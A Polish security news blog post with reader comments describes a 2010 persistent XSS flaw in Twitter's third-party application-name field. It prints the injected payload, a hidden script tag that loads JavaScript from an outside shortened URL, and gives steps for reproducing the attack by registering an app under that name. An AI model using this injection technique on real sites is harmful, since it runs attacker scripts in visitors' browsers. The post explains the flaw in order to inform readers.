13:28
24/6/2010

Persistent XSS na Twitterze

Jeden z użytkownik Twittera zademonstrował na swoim profilu atak typu persistent XSS. Za błąd odpowiedzialny jest brak walidacji w polu zawierającym nazwę służacej do obsługi Twittera zewnętrznej aplikacji.

Luka została odkryta 21 czerwca — i dalej można ją wykorzystać do ataków.

Jeśli ktoś odwiedzi profil 0wn3d_5ys (na własne ryzyko) najpierw dostaje po oczach klasycznymi okienkami dialogowymi z informacją o ataku XSS, a potem jego przeglądarka pokaże znane z filmu Matrixa znaczki.

0wn3d_5ys opisał szczegóły błędu na swoim blogu.

Persistent XSS — szczegóły błędu

Wstrzyknięty do pola “nazwa aplikacji” kod wygląda następująco:

<span>via <a href="http://www.0wn3d-5ys.co.cc" rel="nofollow">Ub­­&shy;erTw­i­&shy;tter<span
style="visibility: hidden"&gt; <script src='http://is.gd/cWO66' type='text/javascript'&gt;</script&gt;</a>
</span>

Jak można zauwazyć, brakuje zamknięcia nawiasu > w znaczniku zamykającym wstrzyknięty JavaScript (Twitter cośtam jednak filtruje i zamienia na encje). Jednak zaraz po tym znaczniku, w oryginalnym kodzie Twittera następuje ładowanie skryptu JS dla biblioteki jquery i dlatego zawartość wstrzykniętego, ale “niedomkniętego” skryptu się wykona.

Przeprowadź własny atak XSS

Aby przeprowadzić atak wystarczy zarejestrować swoją aplikację na Twitterze pod odpowiednią nazwą:

Formularz rejestracji aplikacji na Twitterze. XSS w polu z nazwą na skutek niepełnej walidacji danych wejściowych.

Po rejestracji aplikacji i dodaniu za jej pomocą wpisu na Twittera, jej nazwa pojawi się pod “twitnięciem”:

Wprowadzony w formularzu (powyżej) XSS znajdzie się tu

…i każdy kto wejdzie na stronę wykona stworzony przez atakującego skrypt. Czekamy na pierwszego robaka Twitterowego?

Przypomiamy, że właśnie tego typu ataki wykonujemy (i unicestwiamy) na szkoleniach z atakowania i ochrony webaplikacji — jest jeszcze kilka miejsc, zapraszamy do rejestracji :-)

Przeczytaj także:

14 komentarzy

Dodaj komentarz
  1. Przetestowałem sobie na wirtualnej maszynie – mam tam XP z IE 7 – nic się nie dzieje na jego profilu ;)

  2. nie dziala juz :(

  3. Edit: Na FF jednak dzieje się ;-)

  4. A co to jest Twitter? :P
    Zbanować twittera, nasza-klasa.pl, facebooka i od razu jacy bezpieczniejsi będziemy. :>

  5. No, art na niebezpieczniku i twitter naprawia błąd. :D Gdyby nie wy to ten XSS posiedział by tam pewnie jeszcze kilka dobrych dni. ;)

  6. Na ff na OS X nie działa.

  7. Wchodzę sobie pewniacko, a tu zonk – NoScript akurat wyłączony ^^

  8. @Ci,KtórymNieDziała
    Wyłączyć AdBlocka, wyczyścić cache i odpalić.

    Ma ktoś może link do skryptu z tymi znaczkami z Matrixa? Wrzuciłbym sobie na stronkę…

  9. U mnie na Operze pod Pingwinem nie działa ;-P.

  10. FF pod win xp dziala.
    tylko za pierwszym razem sie nie odpalilo, musialem odswierzyc. adblock wlaczony :P

  11. Sorry, that page doesn’t exist!

    Już nie działa

  12. zastanawia mnie tylko jedno…. (powaznie) po co o tym piszecie? jak to brzmi w ogole – o jeju jeju, N-ty xss na twitterze …. toć to lameriada, tj twitter to scierwo dla lapsów, a i same xssy przejadły sie juz, za sprawą przeróżnych samozwanczych speców od security, publikujących super informacje, jak to znalezli podatnosc xss w szukajce onetu czy wp, litości, przeciez to żałosne ;]

  13. @kamil: z zasady nie publikujemy wtórnych informacji (tzn. kolejny xss wykonany tą samą techniką). Ta informacje jest jednak w pewien sposób wyjątkowa, bo zachodzą tu 2 ciekawe zjawiska:
    ** filtrowanie/walidacje Twitter ma i działa toto w miarę — ale kolejna linia kodu umożliwia mimo wszystko przemycenie i wykonanie skryptu.
    ** efekt xssa jest dość “widowiskowy” i zarazem niegroźny, więc mniej techniczna część czytelników może “wypróbować” na sobie atak.

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.